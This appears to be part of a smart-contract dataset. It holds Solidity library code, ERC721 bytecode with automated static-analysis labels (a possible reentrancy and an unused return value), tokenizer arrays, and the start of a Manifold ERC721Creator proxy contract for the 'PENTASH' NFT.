function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | 0x608060405234801561001057600080fd5b50600436106101735760003560e01c80638da5cb5b116100de578063c87b56dd11610097578063ec55688911610071578063ec55688914610388578063f15376861461039b578063f2fde38b146103ae578063f53b8cf7146103c157600080fd5b8063c87b56dd14610324578063d504ea1d14610337578063e985e9c51461034c57600080fd5b80638da5cb5b146102bf57806395d89b41146102d057806397107d6d146102d8578063a22cb465146102eb578063b320a676146102fe578063b88d4fde1461031157600080fd5b80633c6c2db9116101305780633c6c2db91461021b57806342842e0e1461025d5780636352211e146102705780636fe3af771461028357806370a0823114610296578063715018a6146102b757600080fd5b806301ffc9a71461017857806306fdde03146101a0578063081812fc146101b5578063095ea7b3146101e0578063156e29f6146101f557806323b872dd14610208575b600080fd5b61018b610186366004611dfa565b6103c9565b60405190151581526020015b60405180910390f35b6101a861041b565b6040516101979190611f65565b6101c86101c3366004611e32565b6104ad565b6040516001600160a01b039091168152602001610197565b6101f36101ee366004611d5a565b610547565b005b6101f3610203366004611d83565b61065d565b6101f3610216366004611c21565b610734565b61024e610229366004611bd5565b60086020526000908152604090208054600182015460029092015460ff909116919083565b60405161019793929190611f2f565b6101f361026b366004611c21565b610765565b6101c861027e366004611e32565b610780565b6101c8610291366004611e32565b6107f7565b6102a96102a4366004611bd5565b610821565b604051908152602001610197565b6101f36108a8565b6006546001600160a01b03166101c8565b6101a86108de565b6101f36102e6366004611bd5565b6108ed565b6101f36102f9366004611d31565b61095f565b6101f361030c366004611db5565b610a24565b6101f361031f366004611c5c565b610d53565b6101a8610332366004611e32565b610d85565b61033f610e6d565b6040516101979190611ee2565b61018b61035a366004611bef565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b6007546101c8906001600160a01b031681565b6102a96103a9366004611bd5565b610ece565b6101f36103bc366004611bd5565b610f12565b6009546102a9565b60006001600160e01b031982166380ac58cd60e01b14806103fa57506001600160e01b03198216635b5e139f60e01b145b8061041557506301ffc9a760e01b6001600160e01b03198316145b92915050565b60606000805461042a90612194565b80601f016020809104026020016040519081016040528092919081815260200182805461045690612194565b80156104a35780601f10610478576101008083540402835291602001916104a3565b820191906000526020600020905b81548152906001019060200180831161048657829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b031661052b5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061055282610780565b9050806001600160a01b0316836001600160a01b031614156105c05760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610522565b336001600160a01b03821614806105dc57506105dc813361035a565b61064e5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610522565b6106588383610fad565b505050565b6007546001600160a01b03166106855760405162461bcd60e51b8152600401610522906120de565b6007546001600160a01b031633146106af5760405162461bcd60e51b815260040161052290612013565b6106b883610821565b1561071d5760405162461bcd60e51b815260206004820152602f60248201527f466f726d6174696f6e2e46693a206163636f756e742068617320616c7265616460448201526e1e48184819195c1bdcda5d08139995608a1b6064820152608401610522565b610727838361101b565b6106588383836001610a24565b61073e3382611039565b61075a5760405162461bcd60e51b81526004016105229061208d565b610658838383611130565b61065883838360405180602001604052806000815250610d53565b6000818152600260205260408120546001600160a01b0316806104155760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610522565b6009818154811061080757600080fd5b6000918252602090912001546001600160a01b0316905081565b60006001600160a01b03821661088c5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610522565b506001600160a01b031660009081526003602052604090205490565b6006546001600160a01b031633146108d25760405162461bcd60e51b815260040161052290612058565b6108dc60006112db565b565b60606001805461042a90612194565b6006546001600160a01b031633146109175760405162461bcd60e51b815260040161052290612058565b6001600160a01b03811661093d5760405162461bcd60e51b8152600401610522906120de565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0382163314156109b85760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610522565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6007546001600160a01b0316610a4c5760405162461bcd60e51b8152600401610522906120de565b6007546001600160a01b03163314610a765760405162461bcd60e51b815260040161052290612013565b6000838152600260205260409020546001600160a01b0316610ae55760405162461bcd60e51b815260206004820152602260248201527f466f726d6174696f6e2e46693a20746f6b656e20646f6573206e6f74206578696044820152611cdd60f21b6064820152608401610522565b836001600160a01b0316610af884610780565b6001600160a01b031614610b635760405162461bcd60e51b815260206004820152602c60248201527f466f726d6174696f6e2e46693a206163636f756e74206973206e6f742074686560448201526b103a37b5b2b71037bbb732b960a11b6064820152608401610522565b8115610d4d578015610c55576001600160a01b038416600090815260086020526040902060010154610c0d576001600160a01b0384166000818152600860209081526040808320805460ff19166001908117825560098054600290930192909255600a909352908320879055805491820181559091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af0180546001600160a01b03191690911790555b6001600160a01b038416600090815260086020526040902060010154610c34908390612125565b6001600160a01b038516600090815260086020526040902060010155610d4d565b6001600160a01b038416600090815260086020526040902060010154821115610cd65760405162461bcd60e51b815260206004820152602d60248201527f466f726d6174696f6e2046693a2020616d6f756e74206578636564657320706560448201526c1b991a5b99c819195c1bdcda5d609a1b6064820152608401610522565b6001600160a01b038416600090815260086020526040812060010154610cfd908490612151565b6001600160a01b0386166000908152600860205260409020600101819055905080610d4b576001600160a01b0385166000908152600860205260409020805460ff19169055610d4b8461132d565b505b50505050565b610d5d3383611039565b610d795760405162461bcd60e51b81526004016105229061208d565b610d4d848484846113e3565b6000818152600260205260409020546060906001600160a01b0316610e045760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610522565b6000610e1b60408051602081019091526000815290565b90506000815111610e3b5760405180602001604052806000815250610e66565b80610e4584611416565b604051602001610e56929190611e76565b6040516020818303038152906040525b9392505050565b606060098054806020026020016040519081016040528092919081815260200182805480156104a357602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610ea7575050505050905090565b60006001600160a01b038216610ef65760405162461bcd60e51b815260040161052290611fca565b506001600160a01b03166000908152600a602052604090205490565b6006546001600160a01b03163314610f3c5760405162461bcd60e51b815260040161052290612058565b6001600160a01b038116610fa15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610522565b610faa816112db565b50565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190610fe282610780565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b611035828260405180602001604052806000815250611530565b5050565b6000818152600260205260408120546001600160a01b03166110b25760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610522565b60006110bd83610780565b9050806001600160a01b0316846001600160a01b031614806110f85750836001600160a01b03166110ed846104ad565b6001600160a01b0316145b8061112857506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661114382610780565b6001600160a01b0316146111ab5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610522565b6001600160a01b03821661120d5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610522565b611218838383611563565b611223600082610fad565b6001600160a01b038316600090815260036020526040812080546001929061124c908490612151565b90915550506001600160a01b038216600090815260036020526040812080546001929061127a908490612125565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600061133882610780565b905060016001600160a01b03821660009081526008602052604090205460ff16600281111561137757634e487b7160e01b600052602160045260246000fd5b14156113d15760405162461bcd60e51b8152602060048201526024808201527f466f726d6174696f6e2e46693a20706f736974696f6e206973206f6e2070656e60448201526364696e6760e01b6064820152608401610522565b6113da8161173a565b611035826118a7565b6113ee848484611130565b6113fa8484848461194e565b610d4d5760405162461bcd60e51b815260040161052290611f78565b60608161143a5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611464578061144e816121cf565b915061145d9050600a8361213d565b915061143e565b60008167ffffffffffffffff81111561148d57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156114b7576020820181803683370190505b5090505b8415611128576114cc600183612151565b91506114d9600a866121ea565b6114e4906030612125565b60f81b81838151811061150757634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350611529600a8661213d565b94506114bb565b61153a8383611a5b565b611547600084848461194e565b6106585760405162461bcd60e51b815260040161052290611f78565b6001600160a01b0382161580159061158357506001600160a01b03831615155b15610658576007546001600160a01b03838116911614156116045760405162461bcd60e51b815260206004820152603560248201527f466f726d6174696f6e2e46693a2064657374696e6174696f6e20616464726573604482015274732063616e6e6f74206265207468652070726f787960581b6064820152608401610522565b6001600160a01b0380841660009081526008602052604080822060028082015494871684529190922082548154919260ff90911691839160ff1990911690600190849081111561166457634e487b7160e01b600052602160045260246000fd5b02179055506001828101548282015560029283015492909101919091556001600160a01b0385166000908152600860205260408120805460ff191681559091015560098054849190839081106116ca57634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910180546001600160a01b039485166001600160a01b0319909116179055868316808352600a80835260408085208054968a1686528186209690965591845260088352908320805460ff19168155600181018490556002018390559052905550505050565b6001600160a01b0381166117605760405162461bcd60e51b815260040161052290611fca565b6001600160a01b0381166000908152600860205260408120600201546009805491929161178f90600190612151565b815481106117ad57634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600980546001600160a01b0390921692508291849081106117ea57634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559183168152600890915260409020600201829055600980548061184557634e487b7160e01b600052603160045260246000fd5b60008281526020808220830160001990810180546001600160a01b03191690559092019092556001600160a01b03949094168152600884526040808220805460ff1916815560018101839055600201829055600a909452928320929092555050565b60006118b282610780565b90506118c081600084611563565b6118cb600083610fad565b6001600160a01b03811660009081526003602052604081208054600192906118f4908490612151565b909155505060008281526002602052604080822080546001600160a01b0319169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b60006001600160a01b0384163b15611a5057604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611992903390899088908890600401611ea5565b602060405180830381600087803b1580156119ac57600080fd5b505af19250505080156119dc575060408051601f3d908101601f191682019092526119d991810190611e16565b60015b611a36573d808015611a0a576040519150601f19603f3d011682016040523d82523d6000602084013e611a0f565b606091505b508051611a2e5760405162461bcd60e51b815260040161052290611f78565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611128565b506001949350505050565b6001600160a01b038216611ab15760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610522565b6000818152600260205260409020546001600160a01b031615611b165760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610522565b611b2260008383611563565b6001600160a01b0382166000908152600360205260408120805460019290611b4b908490612125565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b80356001600160a01b0381168114611bc057600080fd5b919050565b80358015158114611bc057600080fd5b600060208284031215611be6578081fd5b610e6682611ba9565b60008060408385031215611c01578081fd5b611c0a83611ba9565b9150611c1860208401611ba9565b90509250929050565b600080600060608486031215611c35578081fd5b611c3e84611ba9565b9250611c4c60208501611ba9565b9150604084013590509250925092565b60008060008060808587031215611c71578081fd5b611c7a85611ba9565b9350611c8860208601611ba9565b925060408501359150606085013567ffffffffffffffff80821115611cab578283fd5b818701915087601f830112611cbe578283fd5b813581811115611cd057611cd061222a565b604051601f8201601f19908116603f01168101908382118183101715611cf857611cf861222a565b816040528281528a6020848701011115611d10578586fd5b82602086016020830137918201602001949094529598949750929550505050565b60008060408385031215611d43578182fd5b611d4c83611ba9565b9150611c1860208401611bc5565b60008060408385031215611d6c578182fd5b611d7583611ba9565b946020939093013593505050565b600080600060608486031215611d97578283fd5b611da084611ba9565b95602085013595506040909401359392505050565b60008060008060808587031215611dca578384fd5b611dd385611ba9565b93506020850135925060408501359150611def60608601611bc5565b905092959194509250565b600060208284031215611e0b578081fd5b8135610e6681612240565b600060208284031215611e27578081fd5b8151610e6681612240565b600060208284031215611e43578081fd5b5035919050565b60008151808452611e62816020860160208601612168565b601f01601f19169290920160200192915050565b60008351611e88818460208801612168565b835190830190611e9c818360208801612168565b01949350505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611ed890830184611e4a565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b81811015611f235783516001600160a01b031683529284019291840191600101611efe565b50909695505050505050565b6060810160038510611f5157634e487b7160e01b600052602160045260246000fd5b938152602081019290925260409091015290565b602081526000610e666020830184611e4a565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526029908201527f466f726d6174696f6e2e46693a206163636f756e7420697320746865207a65726040820152686f206164647265737360b81b606082015260800190565b60208082526025908201527f466f726d6174696f6e2e46693a2043616c6c6572206973206e6f74207468652060408201526470726f787960d81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b60208082526027908201527f466f726d6174696f6e2e46693a2070726f787920697320746865207a65726f206040820152666164647265737360c81b606082015260800190565b60008219821115612138576121386121fe565b500190565b60008261214c5761214c612214565b500490565b600082821015612163576121636121fe565b500390565b60005b8381101561218357818101518382015260200161216b565b83811115610d4d5750506000910152565b600181811c908216806121a857607f821691505b602082108114156121c957634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156121e3576121e36121fe565b5060010190565b6000826121f9576121f9612214565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610faa57600080fdfea2646970667358221220a73ba2f5034287aec121a5933e8dceb4fb29a42d7d4cbbedd4e23aa64d50fd0064736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
25746,
2620,
2683,
24594,
2683,
2063,
2620,
22932,
22025,
2620,
2620,
3207,
9468,
16086,
2546,
2581,
2549,
2497,
21926,
19317,
2546,
2620,
2581,
18139,
24434,
2497,
24594,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
2581,
17465,
1013,
9413,
2278,
2581,
17465,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
3229,
1013,
2219,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
8860,
1013,
2951,
1012,
14017,
1000,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
12816,
2078,
6199,
1008,
1030,
16475,
7375,
1997,
12816,
2078,
6199,
1000,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,444 | 0x952971b59956617b8b240c7b81aa9caa8e88c673 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: PENTASH
/// @author: manifold.xyz
import "./ERC721Creator.sol";
////////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// //
// ████████████████████████████████████████████████████████████████████████████████ //
// ████████████████████████████████████████████████████████████████████████████████ //
// ████████████████████████████████████████████████████████████████████████████████ //
// ████████████████████████████████████████████████████████████████████████████████ //
// ████████████████████████████████████████████████████████████████████████████████ //
// ████████████████████████████████████████████████████████████████████████████████ //
// ██████████████████████████▀▀▀▀▀▀▀▀██████████████▀███████████████████████████████ //
// ██████████████████████████ ▐█████▀▀▀└ ██████████████████████████████ //
// ██████████████████████████ ╙▀└ █████████████████████████████ //
// █████████████████████████▌ ╙████████████████████████████ //
// █████████████████████████▌ ▄████████████████████████████ //
// ██████████████████████████ ▄██████████████████████████████ //
// ███████████████████████████ _▄▄▀ ▄████████████████████████████████ //
// ████████████████████████████_▄▄███▀` ▄██████████████████████████████████ //
// ████████████████████████████████▀` ▄████████████████████████████████████ //
// ██████████████████████████████▀` └▀▀███████████████████████████████ //
// ████████████████████████████▀` '▀████████████████████████████ //
// ██████████████████████████▀` ███████████████████████████ //
// ████████████████████████▀` ____ ╙█████████████████████████ //
// █████████████████████████▄ ▄██████████▄_ ╙████████████████████████ //
// ███████████████████████████▄ ▄███████████████_ ████████████████████████ //
// ████████████████████████████████████████████████▄ ▄█████████████████████████ //
// █████████████████████████████████████████████████─ ▄███████████████████████████ //
// ██████████████████████████████████████████████████▄█████████████████████████████ //
// ████████████████████████████████████████████████████████████████████████████████ //
// ████████████████████████████████████████████████████████████████████████████████ //
// ██████████████████████████████ ▐███████████████████████████████ //
// ██████████████████████████████ ▐███████████████████████████████ //
// ██████████████████████████████ ▐███████████████████████████████ //
// ██████████████████████████████ ▐███████████████████████████████ //
// ████████████████████████████████████████████████████████████████████████████████ //
// ████████████████████████████████████████████████████████████████████████████████ //
// ████████████████████████████████████████████████████████████████████████████████ //
// ████████████████████████████████████████████████████████████████████████████████ //
// ████████████████████████████████████████████████████████████████████████████████ //
// ████████████████████████████████████████████████████████████████████████████████ //
// //
// //
////////////////////////////////////////////////////////////////////////////////////////////////
contract PNTSH is ERC721Creator {
constructor() ERC721Creator("PENTASH", "PNTSH") {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC721Creator is Proxy {
constructor(string memory name, string memory symbol) {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a;
Address.functionDelegateCall(
0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a,
abi.encodeWithSignature("initialize(string,string)", name, symbol)
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
